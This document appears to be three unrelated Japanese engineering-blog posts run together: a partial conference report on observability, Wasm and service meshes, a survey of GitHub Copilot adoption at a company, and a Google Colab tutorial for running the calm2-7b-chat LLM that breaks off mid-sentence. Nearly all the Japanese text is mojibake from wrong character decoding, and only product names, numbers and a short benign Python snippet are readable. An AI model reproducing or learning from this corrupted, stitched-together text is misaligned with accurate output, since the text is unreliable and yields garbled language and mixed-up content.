¥ãã¹ã ãŒãºã«é²ããããããªã ã¢ããªã±ãŒã·ã§ã³ã®æ¹ä¿®ãäžèŠãšãããšããããã€ã³ã ã©ã¯ ã¹ã¯ã€ã³ãã©ãšã¢ããªã±ãŒã·ã§ã³éçºã§çµç¹ãåãããŠãããããã€ã³ãã©çºæ¡ã§Traceå°å
¥ãé²ãããšãªããšãã¢ããªã±ãŒã·ã§ã³éçºãžã®ååäŸé Œãå¿
èŠã«ãªã æåèšè£
ã®å Žåãæºäžã§ã®èª¬åŸãå¿
èŠ èªåèšè£
ã®å Žåããšããããå®è£
ããŠãã¢ãèŠãŠããããããTraceã®ON/OFFã容æã§ããããæ¬çªã§ã®å°å
¥éå£ãäœã éäºããã®ããªãã¶ãŒãããªãã£ã¯æšªæçé¢å¿äºãçµç¹éã«ã¯å¿
ããªãã¶ãŒãããªãã£"æ Œå·®"ãååšããããšããèšèãæã¿ã ä»åŸå®æœ/ææŠãããããš Kubernetes äžã®ãµãŒãã¹ã«å¯Ÿãã忣ãã¬ãŒã·ã³ã°ãå°å
¥ãã Java ç³»ãµãŒãã¹ã®ã¢ããªã±ãŒã·ã§ã³ã«èªåèšè£
ãæ³šå
¥ããŠãã¢âå°å
¥ OTelCollectorãå°å
¥ Kubernetes äžã®MWãTrace/Spanãåºãããã«ã€ã³ã¹ãã«ã¡ã³ããŒã·ã§ã³ãã ããã¯ãšã³ãã¯Grafana Tempoã§å®è£
åé¡ãªããã°æ¬æ Œå°å
¥ãž å
šäœãéããŠã®ææ³ èªç€Ÿã«ãªãã¶ãŒãããªãã£ãå°å
¥ããã¹ããããå°ãã€ã¡ãŒãžã§ãããé¢çœãã£ãïŒ SRE課/Mæ°ã®ãŸãšãããã®1ã Wasm is becoming the runtime for LLMs ã»ãã·ã§ã³ç޹ä»ããŒãž â»ã¹ã©ã€ããªã/ãªã³ã¯å
ã«åç»ãã ã»ãã·ã§ã³æŠèŠ Wasmãå©çšããŠè¶
軜éãã€ã髿§èœãªLLMã¢ããªãå®çŸ å
±æãããç¹ãææ³ç WasmïŒWASIã®ãããã®ããªïŒã£ãŠäœãè¯ãã®ïŒ ã©ããããã®ïŒ ãšããæèŠã®æ¹ã«èŠãŠããããã ç§ãããã§ãããäœããããã®ãè¯ãåãã£ãŠããªãã£ã人ã«ãã®å¹æãèŠãŠé©ããŠæ¬²ãã Wasmã®åèªã¯ç¥ã£ãŠããŸããããå®çšçãªäºäŸã§æ¹ããŠçŽ æŽããããæãã å人çã«ã¯ã³ã³ããã©ã³ã¿ã€ã ã®ã²ãŒã ãã§ã³ãžã£ãŒã«ãªãå¯èœæ§ãæããã®ã§ãã®ãããã¯ã¯ã¯ã¯ããã»ãã·ã§ã³ã ã£ã ä»åŸå®æœ/ææŠãããããš Wasmåšãã«ã€ããŠæ
å ±ã远ããŠããããã€ãããæããŠWasmEdgeãã€ã³ã¹ããŒã«ããŠç°¡åãªãã¢ãåãããŠã¿ã ä»åŸããã³ãã³é©æ°çãªå€åãéããããªã®ã§Wasmã®ååã¯ãã§ãã¯ããŠãããã å
šäœãéããŠã®ææ³ Wasmãšããåèªããåãã£ãŠããªãã£ãèªåã«ãã®å¿
èŠæ§ã广ããã£ãããšç€ºããŠãããã»ãã·ã§ã³ã ã£ã SRE課/Mæ°ã®ãŸãšãããã®2ã ãã€ã¯ããµãŒãã¹ã®ä¿¡é Œæ§ãæ¯ãããªãã¶ãŒãããªãã£ãšãµãŒãã¹ã¡ãã·ã¥ ã»ãã·ã§ã³ç޹ä»ããŒãž â»ã¹ã©ã€ããªã/ãªã³ã¯å
ã«åç»ãã ã»ãã·ã§ã³æŠèŠ ãã€ã¯ããµãŒãã¹ã«ãããŠãµãŒãã¹ã¡ãã·ã¥ãå©çšããããšã§ä¿¡é Œæ§ãåäžãããæ¹æ³ã«ã€ããŠè§£èª¬ SLIãSLOãšãã£ãä¿¡é Œæ§ã«å¿
èŠãªæŠå¿µãããå®éã«ãµãŒãã¹ã¡ãã·ã¥ãå©çšããŠã©ããã£ãããšãåºæ¥ãã®ãã®çŽ¹ä» å
±æãããç¹ãææ³ç ä¿¡é Œæ§ããªãã¶ãŒãããªãã£ãšãã£ãæŠå¿µãææ¡åºæ¥ã ãµãŒãã¹ã¡ãã·ã¥ãšã¯äœãªã®ããã®æŠå¿µãææ¡åºæ¥ã ãµãŒãã¹ã¡ãã·ã¥ãå©çšããèªåèšè£
ã«ã€ããŠãã®æŠèŠãçè§£åºæ¥ã ä»åŸå®æœ/ææŠãããããš ãµãŒãã¹ã¡ãã·ã¥ã®å©çšãæ€èšããŠãããšããã ããä¿¡é Œæ§ã®ç¹ã§æå¹æŽ»çšããããšã¯èããŠããªãã£ã æ¬ã»ãã·ã§ã³ã§ç޹ä»ãããæ©èœãå©çšããããšã§ãã¢ããªã±ãŒã·ã§ã³ãšã³ãžãã¢ã®è² æ
ã軜æžããªããä¿¡é Œæ§ã®åäžãç®æããã³ããåŸããããšæããä»åŸã¯å®éã®å°å
¥ã«åããŠæ€èšãé²ããã å
šäœãéããŠã®ææ³ ãµãŒãã¹ã¡ãã·ã¥ã®ããšã¯ç¥ã£ãŠãããã詳ããæ©èœã«ã€ããŠã¯ç¥èãäžè¶³ããŠãã ãã®ã»ãã·ã§ã³ãéããŠæå¹ãªå©ç𿹿³ã®äžç«¯ãææ¡ããããšãåºæ¥ã ç·æ¬ 以äžããCNDTãã«åå ããã¡ã³ããŒã®ãµããããã®å
容ãã玹ä»ããŸããã åçŽã«ã€ã³ããããå¢ããã ãã§ãªããåå è
å士ã§ã®æ
å ±å
±æãè°è«ã®å ŽãæãŠãããšã§ãçè§£ãããæ·±ããããšãã§ããã®ã§ã¯ãªãããšæããŸãã ãããã£ã倧åã€ãã³ãã¯èªç€Ÿãå人ã®åãçµã¿ããµããããè¯ãæ©äŒã«ããªããŸãããäœããåå è
ãåºæ¿ãåããŠã¢ãããŒã·ã§ã³ãäžããã®ãå¬ããã§ããã ã¹ã¿ããã®çããŸãç»å£è
ã®çããŸãäŒç»éå¶æ¬åœã«ãç²ãæ§ã§ããããããŠããããšãããããŸããïŒ æ¬¡åã®éå¬ã¯åæµ·éãæ²çžãšããåïŒ SREã®èª²é·ã¯å¿
ãçŸå°åå ããã®ã§wãçŸå°ã¬ããŒãã«æåŸ
ããŸãããïŒ
ã¯ããã« ããã«ã¡ã¯ãæè¡åºå ±ã® nobu_ms ã§ãã ã©ã¯ ã¹ã§ã¯2023幎6æãã GitHub Copilotãå
šéçºçµç¹ã«å°å
¥ããåžæè
ã¯ç³è«ã«ããå
šå¡å©çšå¯èœãšãªã£ãŠããŸãã GitHub Copilotå°å
¥ãã5ã«æãçµéããå©çšç¶æ³ãå°å
¥å¹æã®ã¢ã³ã±ãŒã調æ»ãè¡ããŸããã æ¬èšäºã§ã¯ã調æ»çµæãèžãŸããŠäžèšã®å
容ãã玹ä»ããŸãã å
šç€Ÿå°å
¥åã®èª²é¡ãšãã®å¯Ÿå¿ å°å
¥åŸã®å©çšç¶æ³ã»å¹ææž¬å® ä»åŸã®æŽ»çšã«åãã課é¡ãšåãçµã¿ ãã詳现ãªç®æ¬¡ã¯ãã¡ããã芧ãã ããã ã¯ããã« GitHub Copilotå°å
¥ã®ç®ç å
šç€Ÿå°å
¥åã®èª²é¡ãšãã®å¯Ÿå¿ â ã»ãã¥ãªãã£ã®æ
ä¿ åœç€Ÿã®æ
å ±è³ç£ãåŠç¿ã«å©çšãããå¯èœæ§ ä»ç€Ÿã®ã³ãŒãããµãžã§ã¹ããããŠèäœæš©ã䟵害ããã®ã§ã¯ãªããïŒ â¡ è²»çšå¯Ÿå¹æ å°å
¥åŸã®å©çšç¶æ³ã»å¹ææž¬å® ã³ãŒãã£ã³ã°æéççž®ã®å¹æ æ¥åå質åäžå¹æ åŠç¿ã»èª¿æ»å¹çå广 ãšã³ãžãã¢ã®æ¥åäœéšã¯ã©ããªã£ãã å®åäžã®å©çšäŸ ã³ãŒãã£ã³ã°æéççž® æ¥åå質åäž åŠç¿ã»èª¿æ»å¹çå ãšã³ãžãã¢ã®å£° æéççž®å¹æã®æŠç® GitHub Copilotã¯æå¹ããä»åŸã䜿ãããã100% äžå±€ã®æŽ»çšã«åãã課é¡ãšåãçµã¿ GitHub Copilotå°å
¥ã®ç®ç ã©ã¯ ã¹ã§ã¯æ¥åçç£æ§åäžãç®çã« GitHub Copilotãå°å
¥ããŸããã å
·äœçãªæåŸ
广ãšããŠã¯ã ã³ãŒãã£ã³ã°æéççž®ïŒå¹çåïŒ æ¥åå質åäžïŒã³ãŒãå質ããã£ããçãæŽçšããããã°ã©ã 㢠ã€ã㢠ã®åµåºïŒ åŠç¿ã»èª¿æ»æéççž® ãæããããŸãã å
šç€Ÿå°å
¥åã®èª²é¡ãšãã®å¯Ÿå¿ ãã§ã«çæAIç³»ãµãŒãã¹ã¯ç€Ÿå
ã§ã倧ããªè©±é¡ãšãªã£ãŠããŸãããã宿¥åãžã®å¹æçãã€å®å
šãªå°å
¥ã«ããã£ãŠã¯äºã€ã®æ€èšèª²é¡ããããŸããã â ã»ãã¥ãªãã£ã®æ
ä¿ãš â¡ è²»çšå¯Ÿå¹æ ã§ãã â ã»ãã¥ãªãã£ã®æ
ä¿ å
·äœçãªã»ãã¥ãªãã£ã®èª²é¡ã«ã€ããŠã¯ãäžèšã®äºã€ããããŸããã åœç€Ÿã®æ
å ±è³ç£ãåŠç¿ã«å©çšãããå¯èœæ§ çæAIç³»ãµãŒãã¹ã«ãã£ãŠã¯ãæ
å ±è³ç£ã æ©æ¢°åŠç¿ ã«å©çšãããå¯èœæ§ããããŸãã GitHub Copilotã«é¢é£ããæ
å ±è³ç£ã«ã¯ ãœãŒã¹ã³ãŒã ãã¯ã¬ãã³ã·ã£ã«ã顧客æ
å ±ãèããããŸããfor Businessãã©ã³ã® ãã©ã€ãã·ãŒããªã·ãŒ (2023/12/26åç
§)ã確èªãããšããããã¯åŠç¿ã«äžå䜿çšãããªããããæžå¿µã¯ãªãããšãåãããŸããã ä»ç€Ÿã®ã³ãŒãããµãžã§ã¹ããã㊠èäœæš© ã䟵害ããã®ã§ã¯ãªããïŒ ãã¡ãããOrganizationåäœã§ ãSuggestion Matching Public Codeã (2023/12/26åç
§)ãBlockedã«ããããšã§é²æ¢ã§ããŸãã GitHub äžã®å
¬éæ
å ±ãšãµãžã§ã¹ãã³ãŒããäžèŽããå Žåã«ããµãžã§ã¹ããè¡ããªãèšå®ãå¯èœãšãªããŸãã äž»ã«äžèšã®ãããªèгç¹ãã¯ãªã¢ããå®å
šæ§ã¯æ
ä¿ã§ãããšå€æããŸããã å
šç€Ÿå±éã«ããã£ãŠã¯éçšã«ãŒã«ã®çå®ãå¿
èŠã§ããã GitHub CopilotãChatGPTãªã©ã®çæAIãµãŒãã¹ã«é¢ããŠã¯ãæ
å ±ã»ãã¥ãªãã£æ
åœéšçœ²ãšãã»ãã¥ãªãã£ã«ã€ããŠæšªæçãªã«ãŒã«äœããè¡ãéçºç®¡ç課ãšããçµç¹ãããããããã®çµç¹ãšã«ãŒã«äœããè¡ãå®å
šæ§ã確èªã®äžãå°å
¥ãé²ããŸããã â¡ è²»çšå¯Ÿå¹æ ã©ã¯ ã¹ã§ã¯æ¥åçç£æ§ã«åœ¹ç«ã¡ãå¿«é©ã«ã³ãŒããæžããç°å¢ãæŽåããŠããŸããããããŸã§ã广æ€èšŒã®çµæãšããŠè²»çšå¯Ÿå¹æãåŸããããšå€æããéçºããŒã«ãžã¯æè³ããŠãããä»åãå
šç€Ÿå°å
¥ã®åã«äºåã®å¹ææ€èšŒãè¡ãããšã«ãªããŸããã ãã ã¯ãªãŒã ã®æå±ãã4åã®éçºããŒã ã§ãããæ©èœéçºã ãã€ã ãããããžã§ã¯ããšããŠãïŒé±éçšåºŠã®å¹æèšæž¬ãè¡ããŸãããå
·äœçã«ã¯ã³ãŒããµãžã§ã¹ãã«ããåæžãããäœæ¥ãããªã¢ã«ã¿ã€ã éèšãã圢ã§å®æœããŸããã çµæã åãéçºæ¥åãè¡ãã®ã«12%æéåæžãäžäººåœããçŽ10æéïŒæã®æéççž®ã«ãªããšè©Šç® ãããŸããã ãããã®ãã ã¯ãªãŒã ã®èª¿æ»çµæãçµå¶é£ã«å ±åããã»ãã¥ãªãã£ã«é¢ããéçšã«ãŒã«ãæ©æã«çå®ã§ããããšãè²»çšå¯Ÿå¹æãæåŸ
ãããããšãã GitHub Copilotã®å
šç€Ÿå°å
¥ã6æããæ£åŒã«å§ãŸããŸããã å°å
¥åŸã®å©çšç¶æ³ã»å¹ææž¬å® å
šç€Ÿã§éçšéå§ããŠããçŽ5ãæãçµéããããçšåºŠäœ¿çšå®çžŸãèç©ãããŠãããšããã§ã瀟å
ã®ãšã³ãžãã¢63åã«å©çšç¶æ³ããæåŸ
ããã广ãåŸããããã調æ»ããŸããã ïŒãã ã7åã¯PdMçã§ã³ãŒãã£ã³ã°æ¥åãæ
åœããŠãããã GitHub Coplot䜿çšã¯56åïŒ åæãšãªãè·çš®ãå©çšãšãã£ã¿ã¯äžèšã®éãã§ãã åœç€Ÿããã¯ãšã³ã㯠Java ãš PHP ãçšããŠéçºããŠããããã VSCode ãšäžŠãã§ IntelliJ IDEAãPhpStormãå€ããªã£ãŠããŸãã ã³ãŒãã£ã³ã°æéççž®ã®å¹æ ãŸãæéæç®ãããšã 71.4%ã®ãšã³ãžãã¢ã0.5æé以äžïŒæ¥ã®æéç¯çŽ ã«ãªã£ããšåçããŠããŸãã ãªãæéåæžå¹æã0.5æéæªæºïŒæ¥ã®ãšã³ãžãã¢ã¯ãæ¥åã«å ããã³ãŒãã£ã³ã°æ¯çãäœãåŸåãããæ©æµã®çµ¶å¯Ÿéãå°ããã£ãããã§ãã 92.9%ã®ãšã³ãžãã¢ã GitHub Copilotã«ãã£ãŠçç£çã«ãªã£ã ãšåçããŠããŸããåãæ¥åãããªãã®ã«1.3å以äžçç£çã«ãªã£ããšããåçã41.4%ãšãç®ç«ã£ãäœæãåŸãããããã§ãã æ¥åå質åäžå¹æ å質ã®é«ãã³ãŒããæžããããã«ãªã£ããšåçãããšã³ãžãã¢ã¯59.0% ã§ããã åŸè¿°ã®ããã«ãçæãããã³ãŒãã«å¯Ÿããæçµçãªå€æã¯ãšã³ãžãã¢ãè¡ãå Žé¢ãå€ãããããŸã AIã«ããå質ãé«ããªã£ããšã¯èšãåããªããããããŸããã ãµãžã§ã¹ãã«ããç¹°ãè¿ãäœæ¥ã®å¹çåã«ããæ¥åå質åäžãæåŸ
ã§ããŸããããã¡ãã®æ©æµãæãããšã³ãžãã¢ã¯å€ãã 83.9%ãè¿
éã«ããªãããšãã§ããããã«ãªã£ã ãšåçããŠããŸãã åŠç¿ã»èª¿æ»å¹çå广 66.1%ã®ãšã³ãžãã¢ã GitHub Copilotã«ããæ€çŽ¢æéãççž®ã§ãã ãšåçããŸããã éçºæéççž®å¹æãšæ¯èŒãããšãšã³ã¬ããŠé«ãæ°å€ã§ã¯ãããŸããããåŠç¿ã»èª¿æ»ã®å¹çåã¯åŸè¿°ã®å®æ§å¹æã§å€ãã®ã³ã¡ã³ããå¯ããããé
ç®ã§ããããŸãã ä»åŸã®æŽ»çšã·ãŒã³ã®æ¡å€§ãæåŸ
ãããŸãã ãšã³ãžãã¢ã®æ¥åäœéšã¯ã©ããªã£ãã 51.8%ã®ãšã³ãžãã¢ãä»äºã«å
宿ãæããããããã«ãªã£ã ãšåçããŠããŸãã è峿·±ãããšã«ããå
宿ãæããããããã«ãªã£ããã®åçãšç¯çŽæéã®éã«ã¯åŒ·ãçžé¢ã¯ãããŸããã§ããã çµæçã«ç¯çŽã§ããæéã¯å°ãªããŠãããããªã¥ãŒã ã®ããã³ãŒãã¬ãã¥ãŒã楜ã«ãªãããèšè¿°éã®å€ããã¹ãã³ãŒãäœæãæ¥œã«ãªãããªã©ã®ã³ã¡ã³ãããããŸããã æ
åœæ¥åã®è³ªçãªæ¹åãå
宿ã«åœ±é¿ããŠããå¯èœæ§ã¯ãããŸãã ç¶ããŠã GitHub Copilot å©çšã«ãããããŒç¶æ
ïŒäœæ¥ã«æ²¡é ãéäžã§ããç¶æ
ïŒã«å
¥ãããããªã£ããšåçããã®ã¯39.3%ã§ããã å
šäœã®æ¯çã§ã¿ããšé«ããšã¯èšããŸãããã ã³ãŒãã£ã³ã°ãæ¥åã®60%以äžãå ããåçè
ã«ã€ããŠã¯ã76.9%ããããŒç¶æ
ã«å
¥ãããããªã£ããšåç ããŠããŸãã ã³ãŒãã£ã³ã°æ¥åæ¯çãé«ããšã³ãžãã¢ãå€ãã»ã©ãçµç¹å
šäœã®äœéšæ¹åã® ã€ã³ã㯠ãã¯å€§ãããªããšæšå¯ãããŸãã å®åäžã®å©çšäŸ éçºã®çŸå Žã§ã¯ããå
·äœçãªå¹æã宿ãããŠããŸããã瀟å
ã§ GitHub Copilotã®ã¡ãªãããæããããå
·äœçãªäŸã玹ä»ããŸãã ããšããšã®å°å
¥ã®æåŸ
广ã§ãã£ããâ ã³ãŒãã£ã³ã°æéççž®ïŒå¹çåïŒãâ¡ æ¥åå質åäžïŒã³ãŒãå質ããã£ããçãæŽçšããããã°ã©ã 㢠ã€ã㢠ã®åµåºïŒã⢠åŠç¿ã»èª¿æ»æéççž®ã«åããŠã¿ããšã ã³ãŒãã£ã³ã°æéççž® å®åäœæ¥ã³ãŒãã®èªåè£å® äžæµå·¥çšã§ã®ç»é¢ãµã³ãã«ã®çéäœæ æé æžãããã¥ã¡ã³ãïŒ markdown ïŒãã³ãããã³ã¡ã³ãã®çæ èšå®ãã¡ã€ã«ã®äœæè£å®ïŒymlãDockerfileãªã©ïŒ æ¥åå質åäž ã³ãããã¹ã ã¿ã€ããã¹ ã®æžå° ã³ãŒãèŠçŽã«æ²¿ã£ãã³ãŒãçæ ã³ãŒãã¬ãã¥ãŒïŒäººéã«ããã¬ãã¥ãŒåã®ãã§ãã¯ãšããŠfind probremãèµ°ãããïŒ ãã¹ãã±ãŒã¹äœæ åŠç¿ã»èª¿æ»å¹çå ã³ãŒããªãŒãã£ã³ã°ãããªãã ã¢ãŒããã¯ã㣠ã®èª¬æãããã æ°èŠé¢æ°çææãååŸã®æèãçè§£ããåŠçå
容ã®ãµãžã§ã¹ã ã¬ã¬ã·ãŒãªã³ãŒãäœç³»äžã«ããããã¢ãã³èšæ³ã§ã®èªåçæ æè¡çšèªãèšèªäœ¿çšã®èª¿æ»ã»æ€çŽ¢ïŒ Google ã§ã®æ€çŽ¢ã¯ãŒããèããªããŠããïŒ ãšã³ãžãã¢ã®å£° å®éã«äœ¿ã£ãŠã¿ããšã³ãžãã¢ããããæåŸ
ã®å€§ãããäŒãã£ãŠããŸããã ãå人çãªéçºã«äœ¿çšããã»ã©æ°ã«å
¥ã£ãŠããŸãããµãžã§ã¹ãã¯æããããæ£ç¢ºã ããŸã ãŸã 䌞ã³ãããæããããŒã«ããŸã GitHub Copilotã®æ©èœè¿œå ã¯ãããšæãããçŸç¶èŠããŠããæ°·å±±ã®äžè§ã§ãããªãã§ããã ãå®åã§åçŽãªç¹°ãè¿ãã³ãŒãã®èšè¿°ããããæ¥œã«ãªã£ãã ãã³ãŒããæžããåŸã«ãµãžã§ã¹ããããšããã«ãã§ãã¯ã«ãªãã ãã§ãªããå匷ã«ããªãã ãã¿ã€ãã³ã°ã§æ£ããæç« ãèªåçæããããšãã¯ã³ã£ããããŸãããã³ãŒãã®æèãææ¡ã§ããŠããªããšçããããªããããªå
容ã ã£ãã®ã§ãèªåã®çè§£ã確ãããç®çã§ãå©çšã§ããããšæããŸãã æéççž®å¹æã®æŠç® åè¿°ã®æéççž®å¹æãæŠç®ããŠã¿ãŸãã ãŸãççž®ãããæéã«ã€ããŠãååçã®å¹³åå€ïŒ0ïœ0.5ã®å Žåã¯0.25ã0.5ïœ1ã®å Žåã¯0.75ïŒã䜿ã£ãŠã¿ãŸãã56ä»¶ã®åçãããã®ã§åçå²åã§äººæ°ãå°ããŸããããããæãåãããåèšå€ãåºããŸãã 0.25hÃ16人ïŒ0.75hÃ20人ïŒ1.5ïœÃ17人ïŒ2.5ïœÃ1人ïŒ4..5hÃ2åïŒ56h 56ïœ/56人ãšãããšã ãäžäººåœãã1h/æ¥ã®ççž®å¹æã ããã£ããšèšç®ã§ããŸãã åœåã®äºåæ€èšŒã®çµæãšå€§ããã¯å€ãããªã广ãåŸãããããšã«ãªããŸãã GitHub Copilotã¯æå¹ããä»åŸã䜿ãããã100% ãããŸã§æéççž®å¹æãæ¥åå質åäžå¹æãåŠç¿ã»èª¿æ»å¹çå广ããšã³ãžãã¢ã®æ¥åäœéšãšãã芳ç¹ã§å®æ§ã» å®é 广ãèŠãŠããŸããããéçºçµç¹ãšããŠãå€ãã®ã¡ãªããã宿ããŠããŸãã ä»å調æ»ã«åçãããšã³ãžãã¢å
šå¡ãä»åŸã GitHub Copilotã䜿ããããšåçããŠãããä»åŸã®æŽ»çšã®æ¡å€§ãæåŸ
ãããŸãã äžå±€ã®æŽ»çšã«åãã課é¡ãšåãçµã¿ ãããŸã§ã¯ã¡ãªããã°ãããæžããŠããŸããããæã£ãéãã«äœ¿ãããªãã«ã¯ãŸã 課é¡ãããããã§ããããã§ã¯ãã®äžéšãã玹ä»ããŸãã æ¢åã³ãŒãã®æèã®åœ±é¿ãåããæé©ãªã³ãŒãã®è³ªéã§ãªãããšãããã®ã§ç²Ÿæ»ãå¿
èŠ ç²ŸåºŠãé«ããããã«ãèªååºåãããã®ãªã®ãªèŠä»¶ãæºãããªãã³ãŒããèŠæãã®ãé£ããããã¹ãã±ãŒã¹ã§ç¶²çŸ
ããããçµéšãå¿
èŠã ãªããã®å®è£
ãããã®ããAIã§ãããããã«ææ§ãªãŸãŸã§ä»äºãã§ããŠããŸããããè²æã®æ©äŒãæžãã IDE ã®ãµãžã§ã¹ããšã®çžæ§ãæªã (ãããã®ææã¯2023幎11ææç¹ã®æ©èœãããŒã¹ã«ããŠããŸããä»åŸã®å©æŽ»çšãæ€èšãããæ¹ã¯ãææ°ã®æ©èœã¢ããããŒãã§è§£æ±ºãããŠããå¯èœæ§ãããã®ã§æ¯é確èªããŠãã ããã) å®åæ¥åã«å¯ŸããŠã¯åŒ·ã¿ãçºæ®ãã GitHub Copilotã§ãããéçšæŽãé·ããããã¯ãã§ã¬ã¬ã·ãŒãªã³ãŒãäœç³»ãããã±ãŒã¹ãååŸã®æèãããã±ãŒã¹ããè€éãªèŠä»¶ãæã€ã±ãŒã¹ã«ã¯æ³šæãå¿
èŠããã§ãã GitHub Copilotã§åæžãããæéã¯ãå®è£
ã®ç®çã»ããã¹ãå§¿ãèŠä»¶ãçè§£ãããããæå³äººéãããæ¥åã«ã·ãããã¹ããšããããšãªã®ãããããŸããã ä»åã®èª¿æ»ã§ããã§ã«å®è£
ã«é¢ãããšã³ãžãã¢ã®æŽ»çšçã¯100%ã§ãããä»åŸã®æŽ»çšã®ããã«ã¯ãäžèšã®ãããªèª²é¡ãã«ããŒãããã¬ããžãå
±æããæ°ãã㢠ã€ã㢠ã瀟å
ã§ã©ãã©ãåºããŠããããšã倧äºã ãšæããŸãããã®ããã®å Žäœãããã ã¯ãªãŒã ãäžå¿ã«å§ãŸã£ãŠããŸãã ã©ã¯ ã¹ã§ã¯è€æ°ã®éçºããŒã ããããéçšæŽã®ç°ãªããããã¯ãããã¹ãã»ãªãã»ããªãŒãïŒããã§ã¯å補åããšã«æé©ãªèšèšãæè¡ã¹ã¿ãã¯ãéžå®ããéçºæŠç¥ã®æå³ïŒã§éçºãããŠããŸããããããã®ããŒã ã§æå¹æŽ»çšãå³ããã GitHub Copilotã«é¢ããæŽ»çšãã¬ããžãå
±æããããã®ãã£ãããç«ã¡äžãã£ãŠãããè°è«ãå
±æåããªãããŠããŸããä»ã«ãçæAIãæŽ»çšããŠãããšã³ãžãã¢ãã¡ãããããªãã¥ãŒã¹ãèªãåã瀟å
ã©ãžãªãéå¬ããããããªã掻çšã®æ©éãæ¥å¹Žã¯ããã«é«ãŸã£ãŠããã®ã§ã¯ãªãããšæããŸãã æ¥åçç£æ§åäžã®ããã㢠ã€ã㢠ãåºãåããªããç©æ¥µçã«æ°ããããŒã«ã掻çšããŠããããã§ããããã®èšäºããèªã¿ããã ããæ¹ã®ãåèã«ãªããŸããã幞ãã§ãã
ã¯ããã« ããã«ã¡ã¯ïŒ ä»å¹Žãåœå
倿§ã
㪠LLM(å€§èŠæš¡ èšèªã¢ãã« )ãå
¬éãããŸãããïŒ LLM ã®éžå®ã調æ»ã»å®éšãããéããªãœãŒã¹ã®èŠæ±ã¬ãã«ãéåžžã«é«ããããŒã«ã«ç°å¢ã§ã®å®æœã¯ããªãããŒãã«ãé«ãã§ããã... ããã§ä»åã¯ã Google ColabïŒæ£åŒã«ã¯ ColaboratoryïŒãå©çšã㊠LLMãåããæ¹æ³ã玹ä»ããŸãã ãµã¯ããš LLM ãåããããæã«ããããã§ãïŒ ã¯ããã« Google Colab åºæ¬çãªäœ¿ãæ¹ ãšã©ãŒãã§ããšãã¯ïŒ ã»ãã·ã§ã³ãå€ããããšã ãªããããŸãåããªãæ ææãã©ã³ã«ã€ã㊠ã»ãã«ã䜿ã£ãŠã¿ã Google Colab Google Colab ã¯ã Google ãæäŸããŠããæäŸããŠãããµãŒãã¹ã§ããã©ãŠã¶ã§ Python ãå®è¡ã§ããããŒã«ã§ãã æ©æ¢°åŠç¿ ã®çšéã§å©çšãããããšãå€ããæäœãç°¡åã§ãã åºæ¬çãªäœ¿ãæ¹ ä»åã¯ã calm2-7b-chat ã Google Colab äžã§åãããŠã¿ãŸãããïŒ ãã®ã¢ãã«ã¯ãæ ªåŒäŒç€Ÿ ãµã€ããŒãšãŒãžã§ã³ã æ§ãå
¬éãããŠããã¢ãã«ã§ãã ã©ã€ã»ã³ã¹åºåã¯åçšå¯èœãª Apache License 2.0 ã§ãã www.cyberagent.co.jp åæïŒ Google ã¢ã«ãŠã³ããããããš Google Colab ã«ã¢ã¯ã»ã¹ Welcome To Colaboratory ã«ã¢ã¯ã»ã¹ãããšã Google Colab ã®ç»é¢ã衚瀺ãããŸãã æ°èŠããŒãããã¯ãäœæ å·Šäžã®ã¿ã ããã¡ã€ã« > ããŒãããã¯ãæ°èŠäœæã ãã¯ãªãã¯ããŸãã æ°ããããŒãããã¯ã®ç»é¢ãéãããŸãã®ã§ãé©åœã«ååãã€ããŸãã ç§ã¯ calm2-7b-chat.ipynb ãšããŸããã ããŒãããã¯ãæ°èŠäœæ ããŒãããã¯ã®èšå®å€æŽ ç¶ã㊠LLM ãåããããã®ãªãœãŒã¹èšå®ãããŸãã ããã©ã«ãã§ã¯ãªãœãŒã¹ã« CPU ãå©çšããããšã«ãªã£ãŠããŸããããã®ãŸãŸã§ã¯ãªãœãŒã¹äžè¶³ã®ããå®è¡éäžã§åŠçãæã¡åãããŠããŸããŸãã å·Šäžã®ã¿ã ç·šé > ããŒãããã¯ã®èšå® ãã¯ãªãã¯ãããšããã€ã¢ãã°ã衚瀺ãããŸãã ãã€ã¢ãã°ã®é
ç®ãããŒããŠã§ã¢ ã¢ã¯ã»ã© ã¬ãŒã¿ãã® ã©ãžãªãã¿ã³ ãT4 GPU ããéžæããŸãã ãã€ã¢ãã°äžéšã® ä¿å ãã¿ã³ãã¯ãªãã¯ããŠèšå®ãä¿åããŸãã ããŒãããã¯ã®èšå® ããŒããŠã§ã¢ ã¢ã¯ã»ã© ã¬ãŒã¿ ããã§æºåã¯å®äºã§ãïŒ ã§ã¯å®éã«ã³ãŒããæžããŠåãããŸãããïŒ ã³ãŒããæžããŠå®è¡ LLM ãåããããã«å¿
èŠãª Python ã©ã€ãã©ãªãäºåã«ã€ã³ã¹ããŒã«ããŠãããŸãããã å
¬åŒã«èšèŒã®ã©ã€ãã©ãªã¯ ãã¡ã ã«èšèŒããããŸããã â» LLM ã«ãã£ãŠå©çšããã©ã€ãã©ãªãããŒãžã§ã³ãç°ãªãããšããããŸãã ãŸããäžè¡ç®ã« pip install transformers accelerate bitsandbytes ãšå
¥åããŸãã ãããŠå
¥åãã£ãŒã«ãå·Šéšã®å®è¡ãã¿ã³ïŒâ·ïŒãã¯ãªãã¯ããŸãã ã©ã€ãã©ãªã®ã€ã³ã¹ããŒã« ãããšãã€ã³ã¹ããŒã«ãé²ã¿ãã°ãããããšå®äºããŸãã ç¶ããŠãLLM ãå®éã«åããããã®ã³ãŒããæžããŸãã å
ã»ã©ã€ã³ã¹ããŒã«ãå®äºããæ¬¡ã®è¡ã«ã以äžã®å®è¡ã³ãŒããããŒã¹ãããŸãã ãããŠå
¥åãã£ãŒã«ãå·Šéšã®å®è¡ãã¿ã³ïŒâ·ïŒãã¯ãªãã¯ããŸãã import transformers from transformers import AutoModelForCausalLM, AutoTokenizer, TextStreamer assert transformers.__version__ >= "4.34.1" model = AutoModelForCausalLM.from_pretrained("cyberagent/calm2-7b-chat", device_map="auto", torch_dtype="auto") tokenizer = AutoTokenizer.from_pretrained("cyberagent/calm2-7b-chat") streamer = TextStreamer(tokenizer, skip_prompt=True, skip_special_tokens=True) prompt = """USER: AIã«ãã£ãŠç§éã®æ®ããã¯ã©ã®ããã«å€ãããŸããïŒ ASSISTANT: """ token_ids = tokenizer.encode(prompt, return_tensors="pt") output_ids = model.generate( input_ids=token_ids.to(model.device), max_new_tokens=300, do_sample=True, temperature=0.8, streamer=streamer, ) prompt = ã«ç¶ãç®æãããã³ããã§ããã ãŸãã output_ids ã§ãã©ã¡ãŒã¿ã®èª¿æŽãã§ããŸãã ããšãã°ã temperature ãã©ã¡ãŒã¿ãå€åãããããšã§ãåçã«ã©ã³ãã 